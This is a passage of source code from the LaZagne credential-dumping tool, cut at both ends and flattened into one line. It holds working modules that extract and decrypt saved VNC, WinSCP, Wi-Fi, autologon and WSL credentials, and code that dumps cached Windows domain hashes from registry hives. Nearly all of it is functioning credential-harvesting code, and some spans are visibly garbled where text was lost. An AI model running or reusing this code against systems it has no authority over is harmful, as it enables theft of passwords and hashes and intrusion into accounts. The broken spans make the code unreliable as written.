self.split_len(codecs.encode(hash, 'hex'), 16) cryptedblocks = [] for sblock in splitstr: cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) pwd = b''.join(cryptedblocks) elif len(hexpasswd) <= 16: pwd = self.do_crypt(encpasswd, True) else: pwd = self.do_crypt(encpasswd, True) return pwd def vnc_from_registry(self): pfound = [] vncs = ( ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'), ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'), ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'), ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'), ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'), ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'), ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'), ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'), ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'), ) for vnc in vncs: try: if vnc[1].startswith('HKEY_LOCAL_MACHINE'): hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', '')) elif vnc[1].startswith('HKEY_CURRENT_USER'): hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', '')) reg_key = winreg.QueryValueEx(hkey, vnc[2])[0] except Exception: self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1])) continue try: enc_pwd = binascii.hexlify(reg_key).decode() except Exception: self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key)) continue values = {} try: password = self.reverse_vncpassword(enc_pwd) if password: values['Password'] = password except Exception: self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) self.debug() continue values['Server'] = vnc[0] # values['Hash'] = enc_pwd pfound.append(values) return pfound def vnc_from_filesystem(self): # os.environ could be used here because paths are identical between users pfound = [] vncs = ( ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), ) for vnc in vncs: string_to_match = vnc[2] + '=' enc_pwd = '' try: with open(vnc[1], 'r') as file: for line in file: if string_to_match in line: enc_pwd = line.replace(string_to_match, '').replace('\n', '') except Exception: self.debug('Problems with file: {file}'.format(file=vnc[1])) continue values = {} try: password = self.reverse_vncpassword(enc_pwd) if password: values['Password'] = password except Exception: self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd)) self.debug(traceback.format_exc()) continue values['Server'] = vnc[0] # values['Hash'] = enc_pwd pfound.append(values) return pfound def vnc_from_process(self): # Not yet implemented return [] def run(self): return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process() ================================================ FILE: Windows/lazagne/softwares/sysadmin/winscp.py ================================================ # -*- coding: utf-8 -*- try: import _winreg as winreg except ImportError: import winreg from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER class WinSCP(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True) self.hash = '' # ------------------------------ Getters and Setters ------------------------------ def decrypt_char(self): hex_flag = 0xA3 charset = '0123456789ABCDEF' if len(self.hash) > 0: unpack1 = charset.find(self.hash[0]) unpack1 = unpack1 << 4 unpack2 = charset.find(self.hash[1]) result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff # store the new hash self.hash = self.hash[2:] return result def check_winscp_installed(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') return key except Exception as e: self.debug(str(e)) return False def check_masterPassword(self, key): is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0] winreg.CloseKey(key) if str(is_master_pwd_used) == '0': return False else: return True def get_credentials(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions') except Exception as e: self.debug(str(e)) return False pwd_found = [] num_profiles = winreg.QueryInfoKey(key)[0] for n in range(num_profiles): name_skey = winreg.EnumKey(key, n) skey = OpenKey(key, name_skey) num = winreg.QueryInfoKey(skey)[1] values = {} elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'} for nn in range(num): k = winreg.EnumValue(skey, nn) for e in elements: if k[0] == e: if e == 'Password': try: values['Password'] = self.decrypt_password( username=values.get('Login', ''), hostname=values.get('URL', ''), _hash=k[1] ) except Exception as e: self.debug(str(e)) else: values[elements[k[0]]] = str(k[1]) if num != 0: if 'Port' not in values: values['Port'] = '22' pwd_found.append(values) winreg.CloseKey(skey) winreg.CloseKey(key) return pwd_found def decrypt_password(self, username, hostname, _hash): self.hash = _hash hex_flag = 0xFF flag = self.decrypt_char() if flag == hex_flag: self.decrypt_char() length = self.decrypt_char() else: length = flag ldel = (self.decrypt_char()) * 2 self.hash = self.hash[ldel: len(self.hash)] result = '' for ss in range(length): try: result += chr(int(self.decrypt_char())) except Exception as e: self.debug(str(e)) if flag == hex_flag: key = username + hostname result = result[len(key): len(result)] return result def run(self): winscp_key = self.check_winscp_installed() if winscp_key: if not self.check_masterPassword(winscp_key): results = self.get_credentials() if results: return results else: self.warning(u'A master password is used. Passwords cannot been retrieved') ================================================ FILE: Windows/lazagne/softwares/sysadmin/wsl.py ================================================ # -*- coding: utf-8 -*- from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class Wsl(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'wsl', 'sysadmin') def run(self): pwd_found = [] shadow_files_list = [] # Old WSL PATH old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow') if os.path.exists(old_path): shadow_files_list.append(old_path) # New WSL PATH need to look into Package folder new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\') if os.path.exists(new_path): for root, dirs, files in os.walk(new_path): for file in files: if file == "shadow": shadow_files_list.append(os.path.join(root, file)) # Extract the hashes for shadow in shadow_files_list: with open(shadow, 'r') as shadow_file: for line in shadow_file.readlines(): user_hash = line.replace('\n', '') line = user_hash.split(':') # Check if a password is defined if not line[1] in ['x', '*', '!']: pwd_found.append({ 'Hash': ':'.join(user_hash.split(':')[1:]), 'Login': user_hash.split(':')[0].replace('\n', '') }) return pwd_found ================================================ FILE: Windows/lazagne/softwares/wifi/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/wifi/wifi.py ================================================ # -*- coding: utf-8 -*- import os import sys import traceback from xml.etree.cElementTree import ElementTree from subprocess import Popen, PIPE from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import python_version class Wifi(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'wifi', 'wifi') def decrypt_using_lsa_secret(self, key): """ Needs admin priv but will work with all systems """ if constant.system_dpapi and constant.system_dpapi.unlocked: decrypted_blob = constant.system_dpapi.decrypt_wifi_blob(key) if decrypted_blob: try: return decrypted_blob.decode(sys.getfilesystemencoding()) except UnicodeDecodeError: return str(decrypted_blob) def decrypt_using_netsh(self, ssid): """ Does not need admin priv but would work only with english and french systems """ if python_version == 2: name = 'содержимое ключа' else: name = 'содержимое ключа'.encode('utf-8') language_keys = [ b'key content', b'contenu de la cl', name ] self.debug(u'Trying using netsh method') process = Popen(['netsh.exe', 'wlan', 'show', 'profile', '{SSID}'.format(SSID=ssid), 'key=clear'], stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = process.communicate() for st in stdout.split(b'\n'): if any(i in st.lower() for i in language_keys): password = st.split(b':')[1].strip() return password def run(self): # Run the module only once if not constant.wifi_password: interfaces_dir = os.path.join(constant.profile['ALLUSERSPROFILE'], u'Microsoft\\Wlansvc\\Profiles\\Interfaces') # for windows Vista or higher if os.path.exists(interfaces_dir): pwd_found = [] for wifi_dir in os.listdir(interfaces_dir): if os.path.isdir(os.path.join(interfaces_dir, wifi_dir)): repository = os.path.join(interfaces_dir, wifi_dir) for file in os.listdir(repository): values = {} if os.path.isfile(os.path.join(repository, file)): f = os.path.join(repository, file) tree = ElementTree(file=f) root = tree.getroot() xmlns = root.tag.split("}")[0] + '}' for elem in tree.iter(): if elem.tag.endswith('SSID'): for w in elem: if w.tag == xmlns + 'name': values['SSID'] = w.text if elem.tag.endswith('authentication'): values['Authentication'] = elem.text if elem.tag.endswith('protected'): values['Protected'] = elem.text if elem.tag.endswith('keyMaterial'): key = elem.text try: password = self.decrypt_using_lsa_secret(key=key) if not password: password = self.decrypt_using_netsh(ssid=values['SSID']) if password: values['Password'] = password else: values['INFO'] = '[!] Password not found.' except Exception: self.error(traceback.format_exc()) values['INFO'] = '[!] Password not found.' if values and values.get('Authentication') != 'open': pwd_found.append(values) constant.wifi_password = True return pwd_found ================================================ FILE: Windows/lazagne/softwares/windows/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/windows/autologon.py ================================================ # -*- coding: utf-8 -*- try: import _winreg as winreg except ImportError: import winreg from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import * # Password are stored in cleartext on old system (< 2008 R2 and < Win7) # If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output) class Autologon(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True) def run(self): pwd_found = [] try: hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: self.debug(u'Autologin enabled') keys = { 'DefaultDomainName': '', 'DefaultUserName': '', 'DefaultPassword': '', 'AltDefaultDomainName': '', 'AltDefaultUserName': '', 'AltDefaultPassword': '', } to_remove = [] for k in keys: try: keys[k] = str(winreg.QueryValueEx(hkey, k)[0]) except Exception: to_remove.append(k) for r in to_remove: keys.pop(r) if keys: pwd_found.append(keys) except Exception as e: self.debug(str(e)) return pwd_found ================================================ FILE: Windows/lazagne/softwares/windows/cachedump.py ================================================ # -*- coding: utf-8 -*- from .creddump7.win32.domcachedump import dump_file_hashes from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import get_os_version from lazagne.config.constant import constant class Cachedump(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True) def run(self): is_vista_or_higher = False if float(get_os_version()) >= 6.0: is_vista_or_higher = True mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher) if mscache: return ['__MSCache__', mscache] ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/addrspace.py ================================================ # Volatility # Copyright (C) 2007 Volatile Systems # # Original Source: # Copyright (C) 2004,2005,2006 4tphi Research # Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # """ @author: AAron Walters @license: GNU General Public License 2.0 or later @contact: awalters@volatilesystems.com @organization: Volatile Systems """ """ Alias for all address spaces """ import os import struct class FileAddressSpace: def __init__(self, fname, mode='rb', fast=False): self.fname = fname self.name = fname self.fhandle = open(fname, mode) self.fsize = os.path.getsize(fname) if fast: self.fast_fhandle = open(fname, mode) def fread(self, len): return self.fast_fhandle.read(len) def read(self, addr, len): self.fhandle.seek(addr) return self.fhandle.read(len) def read_long(self, addr): string = self.read(addr, 4) (longval,) = struct.unpack('L', string) return longval def get_address_range(self): return [0, self.fsize - 1] def get_available_addresses(self): return [self.get_address_range()] def is_valid_address(self, addr): return addr < self.fsize - 1 def close(self): self.fhandle.close() # Code below written by Brendan Dolan-Gavitt BLOCK_SIZE = 0x1000 class HiveFileAddressSpace: def __init__(self, fname): self.fname = fname self.base = FileAddressSpace(fname) def vtop(self, vaddr): return vaddr + BLOCK_SIZE + 4 def read(self, vaddr, length, zero=False): first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE full_blocks = int((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 left_over = (length + vaddr) % BLOCK_SIZE paddr = self.vtop(vaddr) if not paddr and zero: if length < first_block: return "\0" * length else: stuff_read = "\0" * first_block elif not paddr: return None else: if length < first_block: stuff_read = self.base.read(paddr, length) if not stuff_read and zero: return "\0" * length else: return stuff_read stuff_read = self.base.read(paddr, first_block) if not stuff_read and zero: stuff_read = "\0" * first_block new_vaddr = vaddr + first_block for i in range(0, full_blocks): paddr = self.vtop(new_vaddr) if not paddr and zero: stuff_read = stuff_read + "\0" * BLOCK_SIZE elif not paddr: return None else: new_stuff = self.base.read(paddr, BLOCK_SIZE) if not new_stuff and zero: new_stuff = "\0" * BLOCK_SIZE elif not new_stuff: return None else: stuff_read = stuff_read + new_stuff new_vaddr = new_vaddr + BLOCK_SIZE if left_over > 0: paddr = self.vtop(new_vaddr) if not paddr and zero: stuff_read = stuff_read + "\0" * left_over elif not paddr: return None else: stuff_read = stuff_read + self.base.read(paddr, left_over) return stuff_read def read_long_phys(self, addr): string = self.base.read(addr, 4) (longval,) = struct.unpack('L', string) return longval def is_valid_address(self, vaddr): paddr = self.vtop(vaddr) if not paddr: return False return self.base.is_valid_address(paddr) ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/newobj.py ================================================ # This file is part of creddump. # # creddump is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # creddump is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with creddump. If not, see . """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ from .object import * from .types import regtypes as types from operator import itemgetter from struct import unpack def get_ptr_type(structure, member): """Return the type a pointer points to. Arguments: structure : the name of the structure from vtypes member : a list of members Example: get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] """ if len(member) > 1: _, tp = get_obj_offset(types, [structure, member[0]]) if tp == 'array': return types[structure][1][member[0]][1][2][1] else: return get_ptr_type(tp, member[1:]) else: return types[structure][1][member[0]][1][1] class Obj(object): """Base class for all objects. May return a subclass for certain data types to allow for special handling. """ def __new__(typ, name, address, space): if name in globals(): # This is a bit of "magic" # Could be replaced with a dict mapping type names to types return globals()[name](name, address, space) elif name in builtin_types: return Primitive(name, address, space) else: obj = object.__new__(typ) return obj def __init__(self, name, address, space): self.name = name self.address = address self.space = space # Subclasses can add fields to this list if they want them # to show up in values() or members(), even if they do not # appear in the vtype definition self.extra_members = [] def __getattribute__(self, attr): try: return object.__getattribute__(self, attr) except AttributeError: pass if self.name in builtin_types: raise AttributeError("Primitive types have no dynamic attributes") try: off, tp = get_obj_offset(types, [self.name, attr]) except Exception: raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) if tp == 'array': a_len = types[self.name][1][attr][1][1] l = [] for i in range(a_len): a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) if a_tp == 'pointer': ptp = get_ptr_type(self.name, [attr, i]) l.append(Pointer(a_tp, self.address + a_off, self.space, ptp)) else: l.append(Obj(a_tp, self.address + a_off, self.space)) return l elif tp == 'pointer': # Can't just return a Obj here, since pointers need to also # know what type they point to. ptp = get_ptr_type(self.name, [attr]) return Pointer(tp, self.address+off, self.space, ptp) else: return Obj(tp, self.address+off, self.space) def __truediv__(self, other): if isinstance(other, (tuple, list)): return Pointer(other[0], self.address, self.space, other[1]) elif isinstance(other, str): return Obj(other, self.address, self.space) else: raise ValueError("Must provide a type name as string for casting") def __div__(self, other): if isinstance(other, tuple) or isinstance(other, list): return Pointer(other[0], self.address, self.space, other[1]) elif isinstance(other, str): return Obj(other, self.address, self.space) else: raise ValueError("Must provide a type name as string for casting") def members(self): """Return a list of this object's members, sorted by offset.""" # Could also just return the list membs = [(k, v[0]) for k,v in types[self.name][1].items()] membs.sort(key=itemgetter(1)) return list(map(itemgetter(0),membs)) + self.extra_members def values(self): """Return a dictionary of this object's members and their values""" valdict = {} for k in self.members(): valdict[k] = getattr(self, k) return valdict def bytes(self, length=-1): """Get bytes starting at the address of this object. Arguments: length : the number of bytes to read. Default: size of this object. """ if length == -1: length = self.size() return self.space.read(self.address, length) def size(self): """Get the size of this object.""" if self.name in builtin_types: return builtin_types[self.name][0] else: return types[self.name][0] def __repr__(self): return "<%s @%08x>" % (self.name, self.address) def __eq__(self, other): if not isinstance(other, Obj): raise TypeError("Types are incomparable") return self.address == other.address and self.name == other.name def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return hash(self.address) ^ hash(self.name) def is_valid(self): return self.space.is_valid_address(self.address) def get_offset(self, member): return get_obj_offset(types, [self.name] + member) class Primitive(Obj): """Class to represent a primitive data type. Attributes: value : the python primitive value of this type """ def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def __init__(self, name, address, space): super(Primitive, self).__init__(name, address, space) length, fmt = builtin_types[name] data = space.read(address, length) if not data: self.value = None else: self.value = unpack(fmt,data)[0] def __repr__(self): return repr(self.value) def members(self): return [] class Pointer(Obj): """Class to represent pointers. value : the object pointed to If an attribute is not found in this instance, the attribute will be looked up in the referenced object.""" def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def __init__(self, name, address, space, ptr_type): super(Pointer, self).__init__(name, address, space) ptr_address = read_value(space, name, address) if ptr_type[0] == 'pointer': self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) else: self.value = Obj(ptr_type[0], ptr_address, self.space) def __getattribute__(self, attr): # It's still nice to be able to access things through pointers # without having to explicitly dereference them, so if we don't # find an attribute via our superclass, just dereference the pointer # and return the attribute in the pointed-to type. try: return super(Pointer, self).__getattribute__(attr) except AttributeError: return getattr(self.value, attr) def __repr__(self): return "" % (self.value.name, self.value.address) def members(self): return self.value.members() class _UNICODE_STRING(Obj): """Class representing a _UNICODE_STRING Adds the following behavior: * The Buffer attribute is presented as a Python string rather than a pointer to an unsigned short. * The __str__ method returns the value of the Buffer. """ def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def __str__(self): return self.Buffer # Custom Attributes def getBuffer(self): return read_unicode_string(self.space, types, [], self.address) Buffer = property(fget=getBuffer) class _CM_KEY_NODE(Obj): def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value) Name = property(fget=getName) class _CM_KEY_VALUE(Obj): def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value) Name = property(fget=getName) class _CHILD_LIST(Obj): def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def getList(self): lst = [] list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address) for i in range(self.Count.value): lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"])) return lst List = property(fget=getList) class _CM_KEY_INDEX(Obj): def __new__(typ, *args, **kwargs): obj = object.__new__(typ) return obj def getList(self): lst = [] for i in range(self.Count.value): # we are ignoring the hash value here off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"])) return lst List = property(fget=getList) ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/object.py ================================================ # Volatools Basic # Copyright (C) 2007 Komoku, Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # """ @author: AAron Walters and Nick Petroni @license: GNU General Public License 2.0 or later @contact: awalters@komoku.com, npetroni@komoku.com @organization: Komoku, Inc. """ import struct builtin_types = { 'int': (4, 'i'), 'long': (4, 'i'), 'unsigned long': (4, 'I'), 'unsigned int': (4, 'I'), 'address': (4, 'I'), 'char': (1, 'c'), 'unsigned char': (1, 'B'), 'unsigned short': (2, 'H'), 'short': (2, 'h'), 'long long': (8, 'q'), 'unsigned long long': (8, 'Q'), 'pointer': (4, 'I'), } def obj_size(types, objname): if objname not in types: raise Exception('Invalid type %s not in types' % objname) return types[objname][0] def builtin_size(builtin): if builtin not in builtin_types: raise Exception('Invalid built-in type %s' % builtin) return builtin_types[builtin][0] def read_value(addr_space, value_type, vaddr): """ Read the low-level value for a built-in type. """ if value_type not in builtin_types: raise Exception('Invalid built-in type %s' % value_type) type_unpack_char = builtin_types[value_type][1] type_size = builtin_types[value_type][0] buf = addr_space.read(vaddr, type_size) if buf is None: return None try: (val,) = struct.unpack(type_unpack_char, buf) except Exception: return None return val def read_unicode_string(addr_space, types, member_list, vaddr): offset = 0 if len(member_list) > 1: (offset, current_type) = get_obj_offset(types, member_list) buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) if length == 0x0: return "" if buf is None or length is None: return None readBuf = read_string(addr_space, types, ['char'], buf, length) if readBuf is None: return None try: readBuf = readBuf.decode('UTF-16').encode('ascii') except Exception: return None return readBuf def read_string(addr_space, types, member_list, vaddr, max_length=256): offset = 0 if len(member_list) > 1: (offset, current_type) = get_obj_offset(types, member_list) val = addr_space.read(vaddr + offset, max_length) return val def read_null_string(addr_space, types, member_list, vaddr, max_length=256): string = read_string(addr_space, types, member_list, vaddr, max_length) if string is None: return None if string.find('\0') == -1: return string (string, none) = string.split('\0', 1) return string def get_obj_offset(types, member_list): """ Returns the (offset, type) pair for a given list """ member_list.reverse() current_type = member_list.pop() offset = 0 current_member = 0 member_dict = None while len(member_list) > 0: if current_type == 'array': if member_dict: current_type = member_dict[current_member][1][2][0] if current_type in builtin_types: current_type_size = builtin_size(current_type) else: current_type_size = obj_size(types, current_type) index = member_list.pop() offset += index * current_type_size continue elif current_type not in types: raise Exception('Invalid type ' + current_type) member_dict = types[current_type][1] current_member = member_list.pop() if current_member not in member_dict: raise Exception('Invalid member %s in type %s' % (current_member, current_type)) offset += member_dict[current_member][0] current_type = member_dict[current_member][1][0] return offset, current_type def read_obj(addr_space, types, member_list, vaddr): """ Read the low-level value for some complex type's member. The type must have members. """ if len(member_list) < 2: raise Exception('Invalid type/member ' + str(member_list)) (offset, current_type) = get_obj_offset(types, member_list) return read_value(addr_space, current_type, vaddr + offset) ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/types.py ================================================ # This file is part of creddump. # # creddump is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # creddump is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with creddump. If not, see . """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ regtypes = { '_CM_KEY_VALUE': [0x18, { 'Signature': [0x0, ['unsigned short']], 'NameLength': [0x2, ['unsigned short']], 'DataLength': [0x4, ['unsigned long']], 'Data': [0x8, ['unsigned long']], 'Type': [0xc, ['unsigned long']], 'Flags': [0x10, ['unsigned short']], 'Spare': [0x12, ['unsigned short']], 'Name': [0x14, ['array', 1, ['unsigned short']]], }], '_CM_KEY_NODE': [0x50, { 'Signature': [0x0, ['unsigned short']], 'Flags': [0x2, ['unsigned short']], 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], 'Spare': [0xc, ['unsigned long']], 'Parent': [0x10, ['unsigned long']], 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], 'ValueList': [0x24, ['_CHILD_LIST']], 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], 'Security': [0x2c, ['unsigned long']], 'Class': [0x30, ['unsigned long']], 'MaxNameLen': [0x34, ['unsigned long']], 'MaxClassLen': [0x38, ['unsigned long']], 'MaxValueNameLen': [0x3c, ['unsigned long']], 'MaxValueDataLen': [0x40, ['unsigned long']], 'WorkVar': [0x44, ['unsigned long']], 'NameLength': [0x48, ['unsigned short']], 'ClassLength': [0x4a, ['unsigned short']], 'Name': [0x4c, ['array', 1, ['unsigned short']]], }], '_CM_KEY_INDEX': [0x8, { 'Signature': [0x0, ['unsigned short']], 'Count': [0x2, ['unsigned short']], 'List': [0x4, ['array', 1, ['unsigned long']]], }], '_CHILD_LIST': [0x8, { 'Count': [0x0, ['unsigned long']], 'List': [0x4, ['unsigned long']], }], } ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/win32/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/windows/creddump7/win32/domcachedump.py ================================================ # This file is part of creddump. # # creddump is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # creddump is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with creddump. If not, see . """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ import hmac import hashlib from .rawreg import * from ..addrspace import HiveFileAddressSpace from .hashdump import get_bootkey from .lsasecrets import get_secret_by_name, get_lsa_key from struct import unpack from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from lazagne.config.crypto.rc4 import RC4 AES_BLOCK_SIZE = 16 def get_nlkm(secaddr, lsakey, vista): return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) def decrypt_hash(edata, nlkm, ch): hmac_md5 = hmac.new(nlkm, ch, hashlib.md5) rc4key = hmac_md5.digest() rc4 = RC4(rc4key) data = rc4.encrypt(edata) return data def decrypt_hash_vista(edata, nlkm, ch): """ Based on code from http://lab.mediaservice.net/code/cachedump.rb """ aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch) out = b"" for i in range(0, len(edata), 16): buf = edata[i:i+16] if len(buf) < 16: buf += (16 - len(buf)) * b"\00" out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)]) return out def parse_cache_entry(cache_data): (uname_len, domain_len) = unpack(". """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ import hashlib import codecs from struct import pack from ..addrspace import HiveFileAddressSpace from .rawreg import * from lazagne.config.crypto.rc4 import RC4 from lazagne.config.crypto.pyDes import des, ECB from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes odd_parity = [ 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 